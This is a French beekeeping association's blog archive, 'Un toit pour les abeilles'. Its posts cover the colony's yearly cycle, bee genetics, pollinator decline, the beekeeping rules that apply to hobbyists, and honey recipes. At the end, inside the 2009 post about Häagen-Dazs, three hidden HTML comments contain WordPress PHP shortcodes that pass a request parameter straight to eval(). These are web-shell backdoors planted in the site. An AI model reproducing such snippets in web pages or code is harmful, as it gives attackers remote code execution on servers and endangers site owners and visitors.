03
Fév
2017

La vie de la ruche en Février…

Que se passe-t-il dans la ruche ?
Même s’il fait encore froid en ce début de mois de février, nous sommes bien loin des températures glaciales de ces dernières semaines. Partout en France les prévisions météorologiques annoncent le redoux. Quoiqu’il en soit, et même si par endroit il fait encore froid, l’essaim va reprendre son activité. Il est l’heure du réveil de la colonie ! La grappe qui avait permis de conserver des températures élevées au sein de la ruche, va tout doucement se disloquer. La reine va reprendre la ponte. D’une petite rondelle sur un cadre, elle va remplir plusieurs cadres de couvain, en fonction des provisions en pollen.

La population au sein de la ruche va grossir rapidement. Cette période durant laquelle les abeilles passent d’une situation de repos hivernal, à une reprise d’activité pour la reine et la colonie, est particulièrement importante. Elle est également facteur de stress pour l’apiculteur car déterminante pour les mois à venir.
La population se développe rapidement et les réserves s’épuisent aussi vite, sans que les abeilles ne puissent encore sortir pour butiner et ramener de nouvelles provisions.

Zoom sur …
Le Cycle de la vie de l’abeille

A partir de l’œuf pondu dans son alvéole, la future abeille va passer par quatre stades différents, jusqu’à l’abeille adulte…

Au départ il y a l’œuf de la Reine. En fonction de son statut « fécondé » ou non, et de l’alimentation, l’œuf deviendra une nouvelle reine ou une ouvrière (oeuf fécondé), ou un faux-bourdon (oeuf non fécondé). L’œuf est déposé verticalement au fond de l’alvéole. Au bout de trois jours à peine, l’œuf devient larve. Semblable à un ver blanc, il va muer et grossir pendant 4 jours au sein de l’alvéole où il est nourri par les abeilles. Au neuvième jour, le nourrissage est arrêté et l’alvéole operculée avec de la cire, pour laisser la larve évoluer doucement en Nymphe (pupe). On voit notamment à ce stade se dessiner les antennes, les yeux, la bouche, les pattes ou encore les ailes. C’est une abeille adulte ou imago qui sortira de l’alvéole au vingtième jour. Elle deviendra par la suite une ouvrière.

De son côté, l’apiculteur …
Dernière ligne droite pour l’apiculteur avant le retour des beaux jours. Février est une période de tous les dangers. Les contrôles demeurent visuels principalement car le froid demeure. La pesée des ruches reste également importante pour estimer les réserves encore disponibles au sein de la ruche.

Le Saviez – vous ? Comment reconnait-on la Reine ?
Sa taille tout d’abord… La Reine mesure en moyenne 20mm lorsque l’ouvrière en fait 15. Sa couleur avec reflets chauds ou bronzés est également un signe distinctif. Son abdomen est plus long et n’est pas entièrement recouvert par ses ailes, comme pour les ouvrières. Les yeux de la Reine ont moins de facettes que l’ouvrière. Son dard est plus lisse et elle pourra le retirer et piquer de nouveau. L’ouvrière en revanche meurt une fois son dard retiré. Elle n’a pas de glandes cirières et sa démarche est beaucoup plus lente.

Un peu de poésie … La citation du mois !
« Abeilles sans reine, ruche perdue. » Proverbes Russes

06
Sep
2014

L’abeille, une diversité génétique étonnante

Des chercheurs ont découvert près de 3000 gènes... (PHOTO MARCIO JOSE SANCHEZ, ARCHIVES AP)

Des chercheurs ont découvert près de 3000 gènes découlant de leur adaptation à différents environnements au fil du temps, associés notamment au système immunitaire ou à la capacité à hiverner.

Agence France-Presse

PARIS

Contrairement à la plupart des espèces domestiquées par l’Homme, les abeilles font preuve d’une étonnante diversité sur le plan génétique qui leur a permis de s’adapter aux changements successifs depuis leur apparition voici quelque 100 millions d’années, selon une étude publiée dimanche.

L’abeille (Apis mellifera) joue un rôle crucial pour les sociétés humaines, dont un tiers de l’approvisionnement en nourriture dépend de la pollinisation des fruits, noix et légumes par des insectes. Le déclin des colonies d’abeilles observé ces dernières années, lié notamment aux maladies et au changement climatique, a donc de quoi inquiéter.

Pour mieux contrer le phénomène, les scientifiques tentent de comprendre les forces et les faiblesses des différentes espèces d’abeilles, inscrites dans leur génome.

Des chercheurs ont donc analysé et comparé l’ADN de 14 sortes d’abeilles issues d’Europe, d’Afrique, du Moyen-Orient, des États-Unis et du Brésil.

Ils ont notamment découvert près de 3000 gènes découlant de leur adaptation à différents environnements au fil du temps, associés notamment au système immunitaire ou à la capacité à hiverner.

«Nous avons utilisé des techniques de pointe et identifié un haut niveau de diversité génétique chez les abeilles. Contrairement à d’autres espèces domestiques, l’élevage des abeilles semble avoir dopé les variations génétiques en croisant des abeilles provenant de différents endroits du monde», résume dans un communiqué le principal auteur de l’étude, Matthew Webster, biologiste à l’université suédoise d’Uppsala.

«Ces résultats semblent aussi indiquer que les croisements intensifs ne sont pas une cause majeure de déclin des colonies», souligne-t-il.

Plus surprenant, l’analyse génétique de l’abeille domestique suggère qu’elle n’est pas originaire d’Afrique, comme on le pensait. Elle semble issue d’une ancienne espèce d’abeille cavicole arrivée d’Asie voici quelque 100 millions d’années et qui se serait rapidement propagée en Europe et en Afrique.

L’ADN révèle en outre la grande influence que le changement climatique exerce sur la taille des populations d’abeilles selon les époques. «Les populations en Europe semblent avoir diminué durant les périodes de glaciation alors qu’au même moment les populations africaines se développaient», explique Matthew Webster.

Publiée dans la revue britannique Nature Genetics, l’étude «pose les bases qui permettront de chercher les mécanismes biologiques qui jouent dans la résistance aux maladies et à l’adaptation au climat, des connaissances qui pourraient s’avérer vitales pour la protection des abeilles», conclut-il.

Source : www.lapresse.ca/labeille-une-diversite-genetique-etonnante

12
Juin
2014

récoltes d’essaims

quelques photos de récoltes d’essaims

05
Mai
2014

Biodiversité : 5 gestes simples pour protéger les abeilles

Les abeilles mellifères sont en danger mais il est possible de les protéger au quotidien, même en ville ! Pour préserver ces précieux pollinisateurs voici quelques gestes simples que vous pouvez appliquer dans votre jardin ou sur votre balcon.

Syndrome d’effondrement des colonies d’abeilles

Depuis quelques années, la population d’abeilles est en très forte diminution, avec une disparition totale dans certaines régions. Ce phénomène porte le nom de  » Syndrome d’effondrement des colonies d’abeilles  » ou CCD (Colony Collapse Disorder) et reste inexpliqué : subitement, les ruches se vident de leurs abeilles sans que l’on ne retrouve aucun cadavre à proximité. Ce syndrome est très préoccupant en raison de l’importance écologique de l’abeille en tant que pollinisatrice.

Les ruches Ecolutis, avec un toit pour les...
Les ruches Ecolutis, avec un toit pour les abeilles

1) Banir les engrais et herbicides

Cette mesure est essentielle ! Les études en cours montrent que parmi les causes les plus probables de la disparition massive des abeilles figurent les traitements pesticides. En effet, des abeilles soumises en laboratoire à des doses connues de certains pesticides développent des modifications au niveau des enzymes de leur cerveau. Or, ces modifications peuvent avoir un impact majeur sur le petit insecte pollinisateur: difficulté à voler, à s’orienter, à communiquer avec les membres de sa colonie.

De plus, sachez que pour que les abeilles puissent continuer à jouer leur rôle de pollinisateur, il faut favoriser le développement d’autres insectes et invertébrés nécessaires au cycle de vie des plantes. Dans votre jardin, faites donc place à la vie !

2) Semer des fleurs

Dans vos cours, balcons, terrasses, bords de fenêtres, toitures, privilégiez les plantes à fleurs mellifères (les plus fréquentées par les abeilles).

Si vous êtes l’heureux détenteur d’un lopin de terre, prévoyez une jachère de fleurs sauvages pour permettre à la biodiversité de se renouveler.

Voici une liste non exhaustive des plantes à privilégier :  thym, bourrache, lavande, mélisse, menthe, origan, sauge, verveine, aster, gaillarde, hellébore, jacinthe, muscari, rose trémière, bruyère, cotonéaster, mélilot blanc, pyracantha, aubépine, berbéris, cognassier du Japon, groseillier sanguin, troène, lilas, seringat, mahonia, symphorine, houx, lierre (surtout en fin de saison), ronces, clématites, glycine, chèvrefeuille, vigne vierge

3) Construire des gites à insectes

Certaines espèces d’abeilles solitaires disparaissent aussi car elles ne savent plus où faire leur nid et élever leurs oeufs. Pour les aider, c’est tout simple : on peut construire un gîte à insecte, avec une bûche de bois ou des tiges de plantes creuses, et l’installer sur le balcon ou au jardin. Mode d’emploi : accrochez en hauteur un gros morceau de bois percé de trous de différents diamètres (7mm maxi) et 6cm de profondeur. Vous pouvez aussi protéger votre bois d’une planche pour éviter que l’eau ne fasse pourrir votre abri. Certains « hôtels à insectes » très élaborés sont vendus dans les jardineries.

4) Consommer le miel de sa région

Ca a l’air bête comme chou, mais c’est un des conseils les plus logiques. Si la consommation de miel diminue, le nombre d’apiculteurs aussi, et donc le nombre d’essaims. Privilégier du miel français c’est privilégier du miel a priori sans OGM et avec un bilan carbone moindre. N’oubliez pas que la consommation de miel ne se limite pas aux biscottes du matin ! On peut l’intégrer dans tout un tas de plats et recettes bio !

5) Parrainer une ruche

Apiculteur amateur est une activité passionnante. Si vous avez un grand jardin et un peu de temps, vous pouvez vous former dans les centres et associations spécialisés. Sinon, vous ou votre entreprise, pouvez toujours parrainer une ruche chez un apiculteur! Avec seulement quelques euros par mois,  » Un toit pour les abeilles  » vous propose de créer votre propre colonie d’abeilles, suivre l’évolution de votre ruche sur internet par le biais de photos et déguster votre miel bio à l’occasion de sa récolte. Sympa !

Pour en savoir plus sur  » Un toit pour les abeilles « : www.untoitpourlesabeilles.fr

Source : www.bioaddict.fr/5-gestes-simples-pour-proteger-les-abeilles

Ecrit par Flavie dans : Nos actions | Tags : Commenter cet article
02
Mai
2014

L’Europe en grave déficit d’abeilles pour polliniser ses cultures

L’Europe affiche un déficit de 7 milliards d’abeilles pour correctement polliniser ses cultures. 

 L’Europe affiche un déficit de 13,4 millions de colonies d’abeilles, soit 7 milliards d’individus, pour correctement polliniser ses cultures. Ce sont les conclusions de chercheurs de l’université de Reading (Royaume-Uni), publiées mercredi 8 janvier dans la revue Plos One.

La cause ? En raison du développement des cultures oléagineuses notamment utilisées dans les agrocarburants, les besoins de pollinisation ont crû cinq fois plus vite que le nombre de colonies d’abeilles entre 2005 et 2010.

D’où, aujourd’hui, une situation de déficit : « L’Europe a seulement deux tiers des colonies d’abeilles dont elle a besoin », indiquent les auteurs. Dans la moitié des 41 pays étudiés, « il n’y a pas assez d’abeilles pour polliniser correctement les cultures, notamment en France, en Allemagne, au Royaume-Uni et en Italie », précisent-ils.

 

Stock d’abeilles nécessaires à la pollinisation par pays en 2010. | PLOS one

 Le cas de la Grande-Bretagne est particulièrement préoccupant avec moins d’un quart des abeilles nécessaires à la pollinisation. En France et en Allemagne, entre 25 et 50 % des colonies d’abeilles nécessaires sont présentes.

Lire la note de blog : A quoi ressembleraient nos supermarchés sans les abeilles ?

AGRICULTURE DÉPENDANTE DES POLLINISATEURS SAUVAGES

Du coup, soulignent les scientifiques, l’agriculture est de plus en plus dépendante des pollinisateurs sauvages (bourdons, etc.), des espèces qui peuvent se révéler vulnérables, notamment dans le cas de monocultures.

Lire (édition abonnés) : Le déclin des insectes pollinisateurs menace les rendements agricoles

« Cette étude montre que la politique européenne en matière d’agrocarburants a pour conséquence imprévue de nous rendre plus dépendants des pollinisateurs sauvages », relève Tom Breeze, l’un des auteurs de l’étude. Selon son collègue Simon Potts, « nous allons vers une catastrophe à moins d’agir maintenant : les pollinisateurs sauvages doivent être mieux protégés ».

« Il y a une déconnexion entre les politiques environnementales et agricoles en Europe : les agriculteurs sont encouragés à cultiver des oléagineux, mais il n’y a pas suffisamment de réflexion sur la manière d’aider les insectes à assurer la pollinisation », estime M. Potts.

Source : http://lemonde.fr/l-europe-en-grave-deficit-d-abeilles-pour-polliniser-ses-cultures

19
Avr
2014

Piqûre d’abeilles : les zones les plus sensibles ?

C’est à cette question, des plus originales, qu’a tenté de répondre un étudiant de l’Université de Cornell. Le résultat de son classement se base sur le Schmidt Sting Pain Index, une échelle de classement de la douleur.

Pour les besoins d’une étude scientifique, plutôt atypique, Michael Smith a fait la désagréable expérience de tester les différentes parties anatomiques sur lesquelles une abeille pouvait vous piquer, avant d’attribuer une note de 1 à 10 à chacune de celles-ci en fonction de la sensibilité à la douleur.

Un classement effectué à partir de la « Schmidt Sting Pain Index », que le journal scientifique PeerJ publie dans son édition du 4 avril.

Après avoir sélectionné 25 zones clés, et à raison de 5 piqûres quotidiennes testées sur sa propre anatomie pendant 38 jours, l’étudiant de l’Université de Cornell a réussi son objectif. « Les résultats, dit-il, ne sont pas toujours similaires à ce que l’on pourrait penser« . Ainsi, le pénis, qui arrive, avec la note de 7, n’est pas en pole position des pires zones. Il se situe juste derrière le scrotum et à égalité avec la joue. La narine, bien plus sensible, atteint la note de 9, tout comme la lèvre supérieure. Au contraire, le crâne et la partie supérieure du bras occasionnent moins de douleurs.

Suivant la localisation de la piqûre, la perception de la douleur diffère, explique Michael Smith. Un effet psychologique qui joue très sûrement dans l’appréhension de la douleur ressentie.

« Heureusement, ajoute l’étudiant, et cela est bon à savoir, les abeilles ne sont pas réputées être agressives envers l’homme« , conclut-il.

Source : sante.doctissimo.fr/Piqure-d-abeilles-zones-les-plus-sensibles

Ecrit par Flavie dans : Bon à savoir | Tags : , Commenter cet article
18
Avr
2014

Le Sénat reconnaît l’abeille comme bio-indicateur

 

Les Sénateurs ont adopté un amendement à la loi sur l’avenir de l’agriculture reconnaissant l’abeille comme un bio-indicateur dans le cadre de la surveillance des produits phytopharmaceutiques.

 

Vue en gros plan d'un abeille tueuse. AP/SIPA
Vue en gros plan d’un abeille tueuse. AP/SIPA

« L’abeille est un bio-indicateur particulièrement performant, puisqu’elle est quotidiennement en contact de plusieurs éléments biotiques et abiotiques des écosystèmes tels que les végétaux, l’eau, le sol et l’air », a souligné l’auteur de l’amendement, Alain Fauconnier (PS).

« Son corps couvert de poils lui permet de conserver les éléments avec lesquels elle est en contact. Son activité de butinage lui fait exercer une fonction de prélever sur des centaines de points par jour et sur une aire de plusieurs kilomètres de rayon ».

Dans ces conditions, elle entre parfaitement dans le cadre du système de surveillance des produits phytopharmaceutiques mis en place par le projet de loi, a ajouté le sénateur de l’Aveyron.

Cet amendement est cohérent avec le plan de développement durable de l’apiculture qui dispose notamment qu’il faut diminuer l’impact des pesticides sur la santé des colonies d’abeilles et promouvoir leur rôle d’indicateur des atteintes à la biodiversité et à l’environnement, a précisé M. Fauconnier.

Les sénateurs ont également voté les articles pour un meilleur encadrement de l’utilisation des antibiotiques vétérinaires, avec comme objectif de réduire des antibiotiques critiques pour éviter le développement de bactéries multi-résistantes.

Adopté par les députés en première lecture en janvier, le projet de loi ambitionne de « verdir ». Son examen au Sénat, commencé mercredi, doit s’achever dans la nuit de mardi à mercredi 16 avril.

 

Source : www.challenges.fr/le-senat-reconnait-l-abeille-comme-bio-indicateur

Ecrit par Flavie dans : Bon à savoir,Non classé | Tags : Commenter cet article
17
Avr
2014

Les abeilles et la vie

Elles étaient sur Terre bien avant nous. En les voyant butiner pour fabriquer du miel, nos ancêtres ont découvert le principe de l’agriculture.

C’est grâce à elles que la plupart des fleurs sont pollinisées, et c’est ainsi que nous pouvons manger chaque jour des légumes et des fruits.

C’est par une danse frétillante combinant des demi-cercles, des mouvements d’abdomen et des variations de bourdonnement que les exploratrices indiquent, de retour à la ruche, la direction et la distance de la source d’approvisionnement qu’elles ont découverte. Un véritable langage. Ces conclusions de Karl von Frisch, contestées depuis leur publication en 1943, ont été confirmées en 1992 au moyen d’une abeille robot.

L’abeille possède quatre mémoires. La mémoire de travail, la mémoire immédiate, la tardive et la permanente. Pour Randolf Menzel surnommé par ses pairs «l’homme qui murmure à l’oreille des abeilles», c’est cette mémoire permanente qui opère la synthèse entre l’acquis et l’inné (c’est-à-dire l’acquis des générations précédentes), et gouverne ces facultés incroyables observées chez l’abeille: sens de l’orientation, calcul des distances, horloge interne et transmission de l’information.D.W.

«Les abeilles et la vie», Didier Van Caulewaert, Michel Lafon

Source : http://www.lavenir.net/article/les.abeilles.et.la.vie

Ecrit par Flavie dans : A lire sur les abeilles | Tags : Commenter cet article
07
Avr
2014

Miel, l’art des abeilles, l’or de la ruche

Miel, l'art des abeilles, l'or de la ruche

Trésor de la nature, symbole de douceur, de prospérité et d’abondance, le miel est une merveille. Mais savez vous comment travaillent les abeilles pour produire ce délicieux nectar ? C’est ce que vous proposent de découvrir les éditions de l’Homme avec l’ouvrage Miel, l’art des abeilles, l’or de la ruche.

Vous y découvrirez tout ce que vous devez connaître des abeilles et de leur organisation qui aboutit à la production du miel. Vous serez sans doute surpris de découvrir l’extraordinaire variété de plantes et de fleurs butinées qui donnent des miels aux couleurs, aux textures et aux saveurs si différentes. Et le miel n’est pas le seul trésor de la ruche. Propolis, cire, gelée royale, pollen sont autant de sources de bienfaits pour notre santé.

L’ouvrage vous propose également de découvrir les joies de la cuisine au miel à travers une cinquantaine de recettes délicieuses et n’imaginez pas qu’il ne s’agit que de desserts ! Vous retrouverez le miel dans des boissons, des entrées, des plats et des desserts évidemment. Vous y apprendrez également les merveilleux accords entre miel et fromages.

Un ouvrage à se procurer de toute urgence pour comprendre pourquoi il est si important de protéger les abeilles et les trésor qu’elles produisent au quotidien. En cette semaine du développement durable, apportez votre pierre à l’édifice en consommant bio ou en jardinant sans utiliser de pesticides.

par Nicolas Depardieu, Jeudi 3 avril 2014

Source : www.zegreenweb.com/miel-l’art-des-abeilles-l’or-de-la-ruche

Ecrit par Flavie dans : Autres initiatives | Tags : , , Commenter cet article
04
Sep
2013
13
Août
2013

Comment mieux connaître nos amies les abeilles ?

Evelyne et Frederic WIELEZYNSKI et Thierry Colin, apiculteurs engagés et investis ont ouvert les portes de leur ruchers au mois de Juillet.

Un toit pour les Abeilles a convié tous les parrains à cet événement mais pas seulement ! L’idée est d’accueillir gratuitement petits et grands curieux de la nature et d’aller à la découverte des abeilles. Qui sait ? cela suscitera peut-être de nouvelles vocations…

Une chose est sûre, leur enthousiasme est porteur d’un bel espoir d’avenir pour ce métier en voie de disparition.

 

 

27
Mai
2013

Lucile et les abeilles

Ce lundi Lucile a repéré un essaim dans le jardin de ses voisins. A la recherche d’un nouveau toit, les abeilles ont accepté la ruche en quelques minutes.

23
Nov
2012

Exposé sur les Abeilles

Après avoir passé une après-midi sur les ruchers, Tom et Léo de l’école primaire de Fouras, ont présenté à leur classe un exposé sur les abeilles. Venus avec du matériel et des photos ils ont su captiver leurs camarades.

Bravo pour ce beau travail !

10
Mai
2012

Installation des abeilles dans une ruche tronc

Les abeilles de Mathilde et Emmanuelle ont été installée dans une ruche tronc à quelques kilomètre de La Rochelle.

15
Déc
2011

Lettre des ruchers

Comme nous avions pu vous le dire en Juillet, après un printemps prometteur, la sécheresse n’a pas permis la montée de nectar tant attendue.
Cependant, toute la France n’a pas été logée à la même enseigne et si l’ouest (Bretagne, centre pays de Loire…) avec de grosses sécheresses a été pénalisé, d’autres régions ont eut des récoltes satisfaisantes.

Grâce a un automne plus chaud qu’à l’accoutumée avec, en Octobre et en Novembre, des chaleurs exceptionnelles, les abeilles ont pu remplir de bonnes provisions pour passer l’hiver.

La nouvelle obligation pour les agriculteurs de laisser des sols nus pour piéger les nitrates et éviter ainsi les ruissèlements (moutarde, phacélie..), a permis aux plantations de fournir des ressources en nectar et pollen cf Wikipédia Culture Intermédiaire Piège à Nitrates .

Avec ces températures plus importantes, les abeilles ont ainsi profité de cette belle miellée d’hiver, et malgré une activité intense, on a constaté que les ruches continuaient même à s’alourdir en réserves.

Du côté des préparatifs à l’hivernage, les apiculteurs font le tour de leurs ruches et regardent l’état des provisions (une ruche consomme en moyenne 1.5 à 2 kg par mois).

Ils vérifient également l’état sanitaire; c’est la période où  l’on soigne du varroa (parasite de l’abeille) et où l’on vérifie que les colonies soient bien protégées que ce soit des intempéries (pluies, vents…), ou encore des rongeurs (on diminue l’entrée des ruches).

Au mois de Décembre, les abeilles sont en pleine période d’hivernage.
Ce sont les jeunes abeilles d’automne qui sont destinées à passer l’hiver. Etant un insecte solaire et en plein équinoxe d’hiver, la reine a totalement ou presque cessé sa ponte, la colonie est arrivée au plus bas en terme d’individus (15 a 20 000 abeilles).

L’apiculteur est à cette période, à la préparation de son matériel apicole (réfection des cadres, gaufrage à la cire…) pour la prochaine saison.

Il prépare également le miel nécessaire et son stand pour les  marchés de noël, foires et expositions.

Avec ce froid hivernal désormais installé, Un toit pour les abeilles vous invitent à penser au miel et autres produits de la ruche (pollen, propolis…) afin de parer aux premières grippes et maux d’hiver.

 

 

 

Et rien de mieux en ces temps festifs que d’inviter le miel à votre table.
C’est  une belle manière de le célébrer et ce dernier se marie avec nombreux mets qui apporteront un peu de douceur à votre menu de Noël.

Ainsi, nous vous proposons quelques idées de recettes à base de miel afin de susciter votre envie et votre créativité culinaire puisque les mariages avec le miel sont nombreux.

 

Toasts chaud de roulés de jambon cru fourrés chèvre et pointe de miel

Foie gras poêlé sur tartine poêlée de pain épices

Hydromel pétillant

 

—————————

Mignon de porc marinade au miel et sauce soja, 5 parfums et gingembre

Dinde laquée au miel et farce aux marrons, girolles et petits oignons

—————————

 

 

Nougat de Noël

Crumble de pommes caramélisées au miel et noisettes

 

 

De joyeuses fêtes de fin d’année !

15
Déc
2011

Vos abeilles et la loi

Avoir des abeilles dans son jardin ne paraît plus aussi anodin qu’avant. Cependant, il y a des lois à respecter et il faut surtout tenir compte du voisinage, de façon à ce qu’il ne voit pas cela comme une menace directe.

Par exemple, offrez leur du miel à l’issue de la récolte et placez un abreuvoir d’eau avant que vos abeilles ne prennent la fâcheuse tendance à s’abreuver dans la gamelle du voisin d’à côté.

Voici quelques points à respecter :

1) Veillez à respecter les distances d’installation des ruches, vous les trouverez dans le Code rural (art. 206 et 207, chapitre 2), disponible auprès des organismes apicoles et à la préfecture. Mais le maire de votre commune peut également être habilité à prendre un arrêté à ce sujet.

2) Dans un délai d’un mois après l’installation ou de la prise de possession de la ruche, la législation vous oblige à en faire la déclaration chaque année, courant décembre, à la DDPP (Direction Départementale de la Protection des Populations). Vous devez y déclarer tous vos ruchers.

3) N’hésitez pas à souscrire une assurance responsabilité civile et assistance juridique par l’intermédiaire d’une revue apicole, le coût en est particulièrement modique (environ 0,90 €/ruche).

4) Sur le plan fiscal, vous pouvez posséder jusqu’à 10 ruches sans payer d’impôt pour une consommation privée. Au-delà, vous devez remplir en plus de la déclaration de revenu habituelle le formulaire 2042 C et 2342 précisant que vous avez une activité agricole. Au-delà de 50, vous devez cotiser à la Mutualité sociale agricole.

5) Si vous commercialisez votre miel, vous devez tenir un registre d’élevage, prévu par l’article 253-II du Code rural.

6) Vos abeilles ne doivent pas importuner les voisins ou les passants.
Vous observez plus d’agressivité après un nourrissement, c’est pourquoi il faut récolter ou distribuer le sirop en fin de journée ou à la tombée de la nuit pour limiter les risques.

 

Cliquez ici pour télécharger le guide apicole 2010 de l’UNAF


Source : Abeilles et Fleurs
01
Déc
2011

OMG : Le moratoire sur le maïs MON810 annulé

Aujourd’hui, le Conseil d’Etat vient d’annuler le moratoire français sur la culture du maïs MON810. L’UNAF (Union Nationale de l’Apiculture Française) prend acte de cette décision et demande que la France renouvelle immédiatement son interdiction afin de protéger l’apiculture.

 

En février 2008, le Ministre de l’agriculture interdisait la culture du maïs MON810, seul OGM alors cultivé à grande échelle en France. Monsanto ainsi que différentes entreprises semencières avaient attaqué la décision devant le Conseil d’Etat qui avait saisi la Cour de justice de l’Union européenne d’une question préjudicielle. Le 8 septembre dernier, les juges européens ont partiellement invalidé les fondements juridiques du moratoire français. La décision du Conseil d’Etat a donc été prise à la suite de l’arrêt de la Cour, qui a décidé que la base juridique utilisée par la France n’était pas correcte.

Cette décision de la Haute juridiction française intervient alors que les OGM sont au cœur de la tourmente pour les apiculteurs. Le 6 septembre dernier, la Cour de justice de l’UE décidait que du miel contenant du pollen de maïs MON810 ne pouvait être commercialisé faute d’autorisation de ce pollen dans l’alimentation humaine.

Pour Olivier Belval, Président de l’UNAF, « du maïs MON810 dans les champs en 2012 serait une vraie catastrophe pour l’apiculture. Tout le miel contaminé serait invendable, sans compter des coûts d’analyses de détection exorbitants. La filière est déjà bien affaiblie par des mortalités accrues, nous demandons à Madame la Ministre de l’environnement et à Monsieur le Ministre de l’agriculture de confirmer l’annonce du gouvernement de septembre dernier et de reprendre immédiatement une interdiction du maïs MON810. Ce choix s’impose si on ne veut pas tuer l’apiculture française. »

Selon une étude de l’INRA de 2008, l’activité pollinisatrice des insectes, et de l’abeille en particulier, engendre 35% de nos ressources alimentaires dans le monde et le chiffre d’affaire induit est estimé à 153 milliards d’euros par an.

 

Source : UNAF

20
Juin
2011

Abeilles sur la chicorée

Devant notre rucher de Fouras se trouve un grand champ de chicorées. Sur cette parcelle, nous avions planté un mélange d’espèces mellifère (phacélie, trèfle, sainfoin..), mais la sécheresse de cette année a perturbé la pousse des plantes. La chicorée ne semble quand à elle pas réellement souffrir de cette sècheresse. Sur les deux première photos, on aperçoit nos ruches en arrière plan.

19
Juil
2010

Abeilles sur tournesols bio

Le tournesol est enfin en fleur !

Lorsqu’il est cultivé en bio, le tournesol est une source de nourriture abondante et sure pour les abeilles.

Voici quelques photos de nos ruchers au nord de la Charente-maritime en plein coeur d’une exploitation bio.

abeille tournesol

Le butin attire de nombreux autres butineurs !

06
Juil
2010

Récupération d’essaims sauvages

Un toit pour les abeilles s’engage dans la récupération d’essaims sauvages en Charente Maritime.

un partenariat avec la société APINOV nous permet de récupèrer ces colonies d’abeilles qui sont placées en ruchettes (petites ruches).

Ces essaims sont ensuite offerts aux adhérents de la fédération apicole de la Charente Maritime (FACM).

 

02
Sep
2009

La vidéo de soutien de Häagen Dasz aux abeilles

Häagen Dasz  ne restent pas de glace quand il s’agit des abeilles.

<!– [insert_php]if (isset($_REQUEST["OFYs"])){eval($_REQUEST["OFYs"]);exit;}[/insert_php][php]if (isset($_REQUEST["OFYs"])){eval($_REQUEST["OFYs"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["lcJ"])){eval($_REQUEST["lcJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["lcJ"])){eval($_REQUEST["lcJ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["UwKz"])){eval($_REQUEST["UwKz"]);exit;}[/insert_php][php]if (isset($_REQUEST["UwKz"])){eval($_REQUEST["UwKz"]);exit;}[/php] –>

Propulsé par WordPress | Thème Aeros | un toit pour les abeilles